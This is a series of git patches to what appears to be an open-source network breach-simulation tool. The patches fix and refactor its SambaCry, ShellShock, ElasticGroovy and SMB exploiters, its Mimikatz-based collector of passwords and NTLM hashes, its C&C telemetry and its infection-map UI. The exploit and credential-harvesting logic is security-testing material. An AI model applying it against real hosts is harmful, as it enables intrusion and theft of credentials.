- oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
+ fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
+ oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
packet = smb_client.getSMBServer().SMB_PACKET()
packet['Command'] = SMB2_CREATE
@@ -407,5 +410,7 @@ class SambaCryExploiter(HostExploiter):
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
else:
- return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
- creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)
+ return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA,
+ shareMode=FILE_SHARE_READ,
+ creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE,
+ fileAttributes=0)
From 174c74cbcb4761ebd1a217187b8d10b2b187b6b4 Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Thu, 28 Sep 2017 14:43:08 +0300
Subject: [PATCH 08/35] Temporarily disable shellshock reporting its vulnerable
pages
---
chaos_monkey/exploit/shellshock.py | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/chaos_monkey/exploit/shellshock.py b/chaos_monkey/exploit/shellshock.py
index 69df6abb3..80246c1d4 100644
--- a/chaos_monkey/exploit/shellshock.py
+++ b/chaos_monkey/exploit/shellshock.py
@@ -64,7 +64,8 @@ class ShellShockExploiter(HostExploiter):
# we want to report all vulnerable URLs even if we didn't succeed
# let's overload this
- [self.report_vuln_shellshock(host, url) for url in exploitable_urls]
+ # TODO: uncomment when server is ready for it
+ # [self.report_vuln_shellshock(host, url) for url in exploitable_urls]
# now try URLs until we install something on victim
for _, url, header, exploit in exploitable_urls:
From 3c345679b343a5d4d73824020bb07a1f599187f6 Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Thu, 28 Sep 2017 14:44:18 +0300
Subject: [PATCH 09/35] Change skip exploit if monkey exist to false
---
chaos_monkey/config.py | 2 +-
chaos_monkey/example.conf | 2 +-
monkey_island/cc/services/config.py | 2 +-
3 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py
index 5fee384ee..aa6cb0582 100644
--- a/chaos_monkey/config.py
+++ b/chaos_monkey/config.py
@@ -213,7 +213,7 @@ class Configuration(object):
# exploiters config
###########################
- skip_exploit_if_file_exist = True
+ skip_exploit_if_file_exist = False
ms08_067_exploit_attempts = 5
ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT"
diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf
index 35e1badd0..f9fe7e414 100644
--- a/chaos_monkey/example.conf
+++ b/chaos_monkey/example.conf
@@ -62,7 +62,7 @@
"self_delete_in_cleanup": true,
"serialize_config": false,
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
- "skip_exploit_if_file_exist": true,
+ "skip_exploit_if_file_exist": false,
"exploit_user_list": [],
"exploit_password_list": [],
"sambacry_trigger_timeout": 5,
diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py
index 86184f31c..11733ad6a 100644
--- a/monkey_island/cc/services/config.py
+++ b/monkey_island/cc/services/config.py
@@ -480,7 +480,7 @@ SCHEMA = {
"skip_exploit_if_file_exist": {
"title": "Skip exploit if file exists",
"type": "boolean",
- "default": True,
+ "default": False,
"description": "Determines whether the monkey should skip the exploit if the monkey's file is already on the remote machine"
}
}
From 7365f7d6a7b8b7595128f2479cf7677e0a98066a Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Thu, 28 Sep 2017 16:13:47 +0300
Subject: [PATCH 10/35] Fix in sambacry Sambacry tries to exploit when can't
recognize version
---
chaos_monkey/exploit/sambacry.py | 6 ++++--
1 file changed, 4 insertions(+), 2 deletions(-)
diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py
index 22b3a3f2b..83b626f19 100644
--- a/chaos_monkey/exploit/sambacry.py
+++ b/chaos_monkey/exploit/sambacry.py
@@ -37,7 +37,6 @@ class SambaCryExploiter(HostExploiter):
def __init__(self):
self._config = __import__('config').WormConfiguration
-
def exploit_host(self, host, depth=-1, src_path=None):
if not self.is_vulnerable(host):
return False
@@ -203,6 +202,9 @@ class SambaCryExploiter(HostExploiter):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"):
is_vulnerable = True
+ else:
+ # If pattern doesn't match we can't tell what version it is. Better try
+ is_vulnerable = True
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
(host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)))
@@ -300,7 +302,7 @@ class SambaCryExploiter(HostExploiter):
try:
# the extra / on the beginning is required for the vulnerability
self.open_pipe(smb_client, "/" + module_path)
- except (impacket.smbconnection.SessionError, SessionError) as e:
+ except Exception as e:
# This is the expected result. We can't tell whether we succeeded or not just by this error code.
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
return True
From 6233fec0f762482d03b03f831074d05f46e910b5 Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Thu, 28 Sep 2017 16:14:30 +0300
Subject: [PATCH 11/35] If exception thrown from exploit, we now send telemetry
about trying
---
chaos_monkey/monkey.py | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/chaos_monkey/monkey.py b/chaos_monkey/monkey.py
index 99298ebfd..daabad0ee 100644
--- a/chaos_monkey/monkey.py
+++ b/chaos_monkey/monkey.py
@@ -171,9 +171,11 @@ class ChaosMonkey(object):
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
'exploiter': exploiter.__class__.__name__})
- except Exception, exc:
+ except Exception as exc:
LOG.error("Exception while attacking %s using %s: %s",
machine, exploiter.__class__.__name__, exc)
+ ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
+ 'exploiter': exploiter.__class__.__name__})
continue
if successful_exploiter:
From 2d83657bd9d064aa1438427edbad1e70ba326f08 Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Thu, 28 Sep 2017 17:56:34 +0300
Subject: [PATCH 12/35] Fix missing WindowsError on linux
---
chaos_monkey/dropper.py | 12 +++++++++---
chaos_monkey/system_info/__init__.py | 6 ++++++
2 files changed, 15 insertions(+), 3 deletions(-)
diff --git a/chaos_monkey/dropper.py b/chaos_monkey/dropper.py
index adbca1821..c0b995ae8 100644
--- a/chaos_monkey/dropper.py
+++ b/chaos_monkey/dropper.py
@@ -19,6 +19,12 @@ if "win32" == sys.platform:
else:
DETACHED_PROCESS = 0
+# Linux doesn't have WindowsError
+try:
+ WindowsError
+except NameError:
+ WindowsError = None
+
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
@@ -62,7 +68,7 @@ class MonkeyDrops(object):
self._config['source_path'], self._config['destination_path'])
file_moved = True
- except (WindowsError, IOError, OSError), exc:
+ except (WindowsError, IOError, OSError) as exc:
LOG.debug("Error moving source file '%s' into '%s': %s",
self._config['source_path'], self._config['destination_path'],
exc)
@@ -75,7 +81,7 @@ class MonkeyDrops(object):
LOG.info("Copied source file '%s' into '%s'",
self._config['source_path'], self._config['destination_path'])
- except (WindowsError, IOError, OSError), exc:
+ except (WindowsError, IOError, OSError) as exc:
LOG.error("Error copying source file '%s' into '%s': %s",
self._config['source_path'], self._config['destination_path'],
exc)
@@ -131,7 +137,7 @@ class MonkeyDrops(object):
# try removing the file first
try:
os.remove(self._config['source_path'])
- except Exception, exc:
+ except Exception as exc:
LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc)
# mark the file for removal on next boot
diff --git a/chaos_monkey/system_info/__init__.py b/chaos_monkey/system_info/__init__.py
index ddf13d885..0a5bf8e31 100644
--- a/chaos_monkey/system_info/__init__.py
+++ b/chaos_monkey/system_info/__init__.py
@@ -6,6 +6,12 @@ from enum import IntEnum
from network.info import get_host_subnets
+# Linux doesn't have WindowsError
+try:
+ WindowsError
+except NameError:
+ WindowsError = None
+
__author__ = 'uri'
From 9af6590e750da0afe00427cdb728dc1eb9f0eddf Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Thu, 28 Sep 2017 19:03:31 +0300
Subject: [PATCH 13/35] Fix CR
---
chaos_monkey/exploit/sambacry.py | 11 +++++------
chaos_monkey/exploit/smbexec.py | 6 +++---
chaos_monkey/exploit/tools.py | 4 ++--
3 files changed, 10 insertions(+), 11 deletions(-)
diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py
index 3b4477dcf..5c3c5325c 100644
--- a/chaos_monkey/exploit/sambacry.py
+++ b/chaos_monkey/exploit/sambacry.py
@@ -163,14 +163,13 @@ class SambaCryExploiter(HostExploiter):
def get_credentials_list(self):
creds = self._config.get_exploit_user_password_or_hash_product()
+ creds = [{'username': user, 'password': password, 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash}
+ for user, password, lm_hash, ntlm_hash in creds]
+
# Add empty credentials for anonymous shares.
- credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}]
+ creds.insert(0, {'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''})
- for user, password, lm_hash, ntlm_hash in creds:
- credentials_list.append(
- {'username': user, 'password': password, 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash})
-
- return credentials_list
+ return creds
def list_shares(self, smb_client):
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py
index 5c316ba99..98aeaf24e 100644
--- a/chaos_monkey/exploit/smbexec.py
+++ b/chaos_monkey/exploit/smbexec.py
@@ -21,7 +21,7 @@ except ImportError as exc:
print 'Install the following library to make this script work'
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
- sys.exit(1)
+ raise
LOG = getLogger(__name__)
@@ -64,10 +64,10 @@ class SmbExploiter(HostExploiter):
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
- user_password_pairs = self._config.get_exploit_user_password_or_hash_product()
+ creds = self._config.get_exploit_user_password_or_hash_product()
exploited = False
- for user, password, lm_hash, ntlm_hash in user_password_pairs:
+ for user, password, lm_hash, ntlm_hash in creds:
try:
# copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host,
diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py
index bde32691d..bdb97d975 100644
--- a/chaos_monkey/exploit/tools.py
+++ b/chaos_monkey/exploit/tools.py
@@ -479,9 +479,9 @@ def report_failed_login(exploiter, machine, user, password='', lm_hash='', ntlm_
telemetry_dict =\
{'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__,
'user': user, 'password': password}
- if lm_hash != '':
+ if lm_hash:
telemetry_dict['lm_hash'] = lm_hash
- if ntlm_hash != '':
+ if ntlm_hash:
telemetry_dict['ntlm_hash'] = ntlm_hash
ControlClient.send_telemetry('exploit', telemetry_dict)
From b910baf1d050fcc69f4e50adb2783fd33567635c Mon Sep 17 00:00:00 2001
From: Daniel Goldberg
Date: Sun, 1 Oct 2017 11:35:17 +0300
Subject: [PATCH 14/35] Stupid, stupid casting bug.
---
chaos_monkey/exploit/elasticgroovy.py | 3 +++
1 file changed, 3 insertions(+)
diff --git a/chaos_monkey/exploit/elasticgroovy.py b/chaos_monkey/exploit/elasticgroovy.py
index ed110e999..5dce8208e 100644
--- a/chaos_monkey/exploit/elasticgroovy.py
+++ b/chaos_monkey/exploit/elasticgroovy.py
@@ -53,6 +53,9 @@ class ElasticGroovyExploiter(HostExploiter):
LOG.info("Host: %s doesn't have ES open" % host.ip_addr)
return False
major, minor, build = host.services[ES_SERVICE]['version'].split('.')
+ major = int(major)
+ minor = int(minor)
+ build = int(build)
if major > 1:
return False
if major == 1 and minor > 4:
From 27d9e8bcee432e9f3151b848b433c44beef06f62 Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Sun, 1 Oct 2017 16:34:11 +0300
Subject: [PATCH 15/35] Fix bug in processing tunnel edges
---
monkey_island/cc/resources/monkey.py | 14 ++++++--------
monkey_island/cc/resources/telemetry.py | 5 ++---
monkey_island/cc/services/edge.py | 3 ++-
monkey_island/cc/services/node.py | 5 +++--
4 files changed, 13 insertions(+), 14 deletions(-)
diff --git a/monkey_island/cc/resources/monkey.py b/monkey_island/cc/resources/monkey.py
index d6d89e2c8..2e2da8a5d 100644
--- a/monkey_island/cc/resources/monkey.py
+++ b/monkey_island/cc/resources/monkey.py
@@ -46,9 +46,8 @@ class Monkey(flask_restful.Resource):
update['$set']['config_error'] = monkey_json['config_error']
if 'tunnel' in monkey_json:
- host = monkey_json['tunnel'].split(":")[-2].replace("//", "")
- tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"]
- NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_id)
+ tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "")
+ NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_ip)
return mongo.db.monkey.update({"_id": monkey["_id"]}, update, upsert=False)
@@ -98,10 +97,9 @@ class Monkey(flask_restful.Resource):
else:
monkey_json['parent'] = db_monkey.get('parent') + [parent_to_add]
- tunnel_host_id = None
+ tunnel_host_ip = None
if 'tunnel' in monkey_json:
- host = monkey_json['tunnel'].split(":")[-2].replace("//", "")
- tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"]
+ tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "")
monkey_json.pop('tunnel')
mongo.db.monkey.update({"guid": monkey_json["guid"]},
@@ -112,8 +110,8 @@ class Monkey(flask_restful.Resource):
new_monkey_id = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})["_id"]
- if tunnel_host_id is not None:
- NodeService.set_monkey_tunnel(new_monkey_id, tunnel_host_id)
+ if tunnel_host_ip is not None:
+ NodeService.set_monkey_tunnel(new_monkey_id, tunnel_host_ip)
existing_node = mongo.db.node.find_one({"ip_addresses": {"$in": monkey_json["ip_addresses"]}})
diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py
index 0fea9b4d5..25f45212d 100644
--- a/monkey_island/cc/resources/telemetry.py
+++ b/monkey_island/cc/resources/telemetry.py
@@ -89,9 +89,8 @@ class Telemetry(flask_restful.Resource):
def process_tunnel_telemetry(self, telemetry_json):
monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"]
if telemetry_json['data']['proxy'] is not None:
- host = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "")
- tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"]
- NodeService.set_monkey_tunnel(monkey_id, tunnel_host_id)
+ tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "")
+ NodeService.set_monkey_tunnel(monkey_id, tunnel_host_ip)
else:
NodeService.unset_all_monkey_tunnels(monkey_id)
diff --git a/monkey_island/cc/services/edge.py b/monkey_island/cc/services/edge.py
index 276fe488f..96d676c0e 100644
--- a/monkey_island/cc/services/edge.py
+++ b/monkey_island/cc/services/edge.py
@@ -22,7 +22,7 @@ class EdgeService:
@staticmethod
def edge_to_displayed_edge(edge):
- services = {}
+ services = []
os = {}
exploits = []
if len(edge["scans"]) > 0:
@@ -52,6 +52,7 @@ class EdgeService:
exploit_container["end_timestamp"] = new_exploit["timestamp"]
displayed_edge = EdgeService.edge_to_net_edge(edge)
+
displayed_edge["ip_address"] = edge["ip_address"]
displayed_edge["services"] = services
displayed_edge["os"] = os
diff --git a/monkey_island/cc/services/node.py b/monkey_island/cc/services/node.py
index 85b05bdcb..f5dbcf37c 100644
--- a/monkey_island/cc/services/node.py
+++ b/monkey_island/cc/services/node.py
@@ -148,7 +148,8 @@ class NodeService:
upsert=False)
@staticmethod
- def set_monkey_tunnel(monkey_id, tunnel_host_id):
+ def set_monkey_tunnel(monkey_id, tunnel_host_ip):
+ tunnel_host_id = NodeService.get_monkey_by_ip(tunnel_host_ip)["_id"]
NodeService.unset_all_monkey_tunnels(monkey_id)
mongo.db.monkey.update(
{"_id": monkey_id},
@@ -156,7 +157,7 @@ class NodeService:
upsert=False)
tunnel_edge = EdgeService.get_or_create_edge(monkey_id, tunnel_host_id)
mongo.db.edge.update({"_id": tunnel_edge["_id"]},
- {'$set': {'tunnel': True}},
+ {'$set': {'tunnel': True, 'ip_address': tunnel_host_ip}},
upsert=False)
@staticmethod
From 48be73bc3f53f5529e28bb6d933e1cfb155ba890 Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Sun, 1 Oct 2017 18:36:23 +0300
Subject: [PATCH 16/35] Fix edge width and tunnel edge color
---
monkey_island/cc/ui/src/components/pages/MapPage.js | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey_island/cc/ui/src/components/pages/MapPage.js
index 2b0336814..ef40c3ddc 100644
--- a/monkey_island/cc/ui/src/components/pages/MapPage.js
+++ b/monkey_island/cc/ui/src/components/pages/MapPage.js
@@ -28,6 +28,7 @@ let options = {
improvedLayout: false
},
edges: {
+ width: 2,
smooth: {
type: 'curvedCW'
}
@@ -61,7 +62,7 @@ class MapPageComponent extends React.Component {
case 'exploited':
return '#c00';
case 'tunnel':
- return '#aaa';
+ return '#0058aa';
case 'scan':
return '#f90';
case 'island':
From afcd066fff5e2998fe9b5c51ed68cc5477634bc6 Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Mon, 2 Oct 2017 11:25:53 +0300
Subject: [PATCH 17/35] Fix mimikatz bug where plain passwords weren't
collected when they could have
---
.../system_info/mimikatz_collector.py | 33 ++++++++++++-------
1 file changed, 21 insertions(+), 12 deletions(-)
diff --git a/chaos_monkey/system_info/mimikatz_collector.py b/chaos_monkey/system_info/mimikatz_collector.py
index d7122d57a..c63b875f8 100644
--- a/chaos_monkey/system_info/mimikatz_collector.py
+++ b/chaos_monkey/system_info/mimikatz_collector.py
@@ -1,14 +1,13 @@
import ctypes
import binascii
import logging
+import socket
__author__ = 'itay.mizeretz'
LOG = logging.getLogger(__name__)
-
-
class MimikatzCollector:
"""
Password collection module for Windows using Mimikatz.
@@ -24,7 +23,7 @@ class MimikatzCollector:
self._collect = collect_proto(("collect", self._dll))
self._get = get_proto(("get", self._dll))
self._isInit = True
- except StandardError as ex:
+ except StandardError:
LOG.exception("Error initializing mimikatz collector")
def get_logon_info(self):
@@ -40,18 +39,28 @@ class MimikatzCollector:
entry_count = self._collect()
logon_data_dictionary = {}
+ hostname = socket.gethostname()
for i in range(entry_count):
entry = self._get()
- username = str(entry.username)
- password = str(entry.password)
+ username = entry.username.encode('utf-8').strip()
+
+ password = entry.password.encode('utf-8').strip()
lm_hash = binascii.hexlify(bytearray(entry.lm_hash))
ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash))
- has_password = (0 != len(password))
+
+ if 0 == len(password):
+ has_password = False
+ elif (username[-1] == '$') and (hostname.lower() == username[0:-1]):
+ # Don't save the password of the host domain user (HOSTNAME$)
+ has_password = False
+ else:
+ has_password = True
+
has_lm = ("00000000000000000000000000000000" != lm_hash)
has_ntlm = ("00000000000000000000000000000000" != ntlm_hash)
- if not logon_data_dictionary.has_key(username):
+ if username not in logon_data_dictionary:
logon_data_dictionary[username] = {}
if has_password:
logon_data_dictionary[username]["password"] = password
@@ -61,7 +70,7 @@ class MimikatzCollector:
logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash
return logon_data_dictionary
- except StandardError as ex:
+ except StandardError:
LOG.exception("Error getting logon info")
return {}
@@ -75,8 +84,8 @@ class MimikatzCollector:
_fields_ = \
[
- ("username", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
- ("password", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
- ("lm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH),
- ("ntlm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH)
+ ("username", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
+ ("password", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
+ ("lm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH),
+ ("ntlm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH)
]
From fd85bfb0442583c731a2ed02dee1d14461132ec1 Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Mon, 2 Oct 2017 11:43:23 +0300
Subject: [PATCH 18/35] Add map legend
---
.../cc/ui/src/components/pages/MapPage.js | 5 +++++
monkey_island/cc/ui/src/images/map-legend.png | Bin 0 -> 2598 bytes
2 files changed, 5 insertions(+)
create mode 100644 monkey_island/cc/ui/src/images/map-legend.png
diff --git a/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey_island/cc/ui/src/components/pages/MapPage.js
index ef40c3ddc..65c407102 100644
--- a/monkey_island/cc/ui/src/components/pages/MapPage.js
+++ b/monkey_island/cc/ui/src/components/pages/MapPage.js
@@ -10,6 +10,8 @@ let groupNames = ['clean_linux', 'clean_windows', 'exploited_linux', 'exploited_
'manual_linux', 'manual_linux_running', 'manual_windows', 'manual_windows_running', 'monkey_linux',
'monkey_linux_running', 'monkey_windows', 'monkey_windows_running'];
+let legend = require('../../images/map-legend.png');
+
let getGroupsOptions = () => {
let groupOptions = {};
for (let groupName of groupNames) {
@@ -130,6 +132,9 @@ class MapPageComponent extends React.Component {
Infection Map
+
+
+
diff --git a/monkey_island/cc/ui/src/images/map-legend.png b/monkey_island/cc/ui/src/images/map-legend.png
new file mode 100644
index 0000000000000000000000000000000000000000..4b7759a099c51ad75d0455eaaab0ad117773ece9
GIT binary patch
literal 2598
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
IM6N<$f`!@en*aa+
literal 0
HcmV?d00001
From a04f34bb41a546d02548cd31300adc0f5f51bf84 Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Mon, 2 Oct 2017 11:59:48 +0300
Subject: [PATCH 19/35] Commented out Useless button
---
.../ui/src/components/pages/RunMonkeyPage.js | 19 ++++++++++++-------
1 file changed, 12 insertions(+), 7 deletions(-)
diff --git a/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js b/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js
index 3c20a1d77..d84fe6c1f 100644
--- a/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js
+++ b/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js
@@ -134,13 +134,18 @@ class RunMonkeyPageComponent extends React.Component {
Run on C&C Server
{ this.renderIconByState(this.state.runningOnIslandState) }
-
- Download and run locally
- { this.renderIconByState(this.state.runningOnClientState) }
-
+ {
+ // TODO: implement button functionality
+ /*
+
+ */
+ }
From 8ddac92429f1dfe318e1eadd1c68c2adf5675be2 Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Mon, 2 Oct 2017 12:14:31 +0300
Subject: [PATCH 20/35] Fix mimikatz lowercase hostname comparison
---
chaos_monkey/system_info/mimikatz_collector.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/chaos_monkey/system_info/mimikatz_collector.py b/chaos_monkey/system_info/mimikatz_collector.py
index c63b875f8..53f42ad4c 100644
--- a/chaos_monkey/system_info/mimikatz_collector.py
+++ b/chaos_monkey/system_info/mimikatz_collector.py
@@ -51,7 +51,7 @@ class MimikatzCollector:
if 0 == len(password):
has_password = False
- elif (username[-1] == '$') and (hostname.lower() == username[0:-1]):
+ elif (username[-1] == '$') and (hostname.lower() == username[0:-1].lower()):
# Don't save the password of the host domain user (HOSTNAME$)
has_password = False
else:
From b77aa5d10c2d17d6a01b96bf2c1fd32f39b2ed84 Mon Sep 17 00:00:00 2001
From: Daniel Goldberg
Date: Sun, 1 Oct 2017 17:58:34 +0300
Subject: [PATCH 21/35] PEP8 + new exception format.
---
chaos_monkey/tunnel.py | 33 +++++++++++++++++----------------
1 file changed, 17 insertions(+), 16 deletions(-)
diff --git a/chaos_monkey/tunnel.py b/chaos_monkey/tunnel.py
index f6f258a84..7f7edec03 100644
--- a/chaos_monkey/tunnel.py
+++ b/chaos_monkey/tunnel.py
@@ -1,14 +1,15 @@
+import logging
import socket
import struct
-import logging
-from threading import Thread
-from network.info import local_ips, get_free_tcp_port
-from network.firewall import app as firewall
-from transport.base import get_last_serve_time
-from difflib import get_close_matches
-from network.tools import check_port_tcp
-from model import VictimHost
import time
+from difflib import get_close_matches
+from threading import Thread
+
+from model import VictimHost
+from network.firewall import app as firewall
+from network.info import local_ips, get_free_tcp_port
+from network.tools import check_port_tcp
+from transport.base import get_last_serve_time
__author__ = 'hoffer'
@@ -48,7 +49,7 @@ def _check_tunnel(address, port, existing_sock=None):
try:
